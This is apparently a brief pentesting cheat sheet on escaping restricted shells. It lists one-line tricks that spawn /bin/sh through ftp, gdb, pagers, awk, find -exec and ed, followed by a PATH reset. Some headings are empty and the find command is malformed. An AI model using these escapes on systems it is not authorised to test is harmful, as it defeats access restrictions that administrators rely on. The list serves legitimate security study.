Restricted shell escape
check what you can do:
Try and break out:
Taking help of binaries
Some commands let us execute other system commands, often bypassing shell restrictions
ftp -> !/bin/sh
gdb -> !/bin/sh
more/ less/ man -> !/bin/sh
awk ‘BEGIN {system(“/bin/sh”)}’
find / -name someName -exec /bin/sh ;
tee
ed --> !'/bin/bash' --> export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Last updated